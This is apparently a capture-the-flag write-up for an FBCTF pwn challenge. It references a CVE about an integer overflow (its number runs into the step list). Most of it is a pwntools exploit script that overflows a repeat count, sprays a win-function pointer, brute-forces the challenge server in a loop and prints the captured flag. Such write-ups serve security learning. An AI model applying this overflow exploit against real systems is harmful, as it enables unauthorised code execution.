CVE-2018-10008101.  Calculate overflow size2.  Spray win address3.  ????4.  PROFIT
The script is not reliable, so better monitor debug log.
```from pwn import *
NUM_REPEATS = 2305843009213693953WIN = 0x30f620WIN_PTR = 0x701E40while True:	r = remote("challenges.fbctf.com",1342)	try:		r.sendlineafter("6","1")		r.sendlineafter("Name: ",p64(WIN_PTR))		r.sendlineafter("Description: ","")		r.sendlineafter("Price:","1.0")		r.sendlineafter("\n","4")		r.sendlineafter("add: ","1")		r.sendlineafter("Count: ",str(NUM_REPEATS))		r.sendlineafter("\n","6")		flag = r.recvuntil("}")		log.success("FLAG : "+flag+"}")		pause()		r.close()	except:		try:			r.close()		except:			pass	NUM_REPEATS += 1r.interactive()
```
FLAG : fb{s4f3_l4nguag3s_arent_always_safe}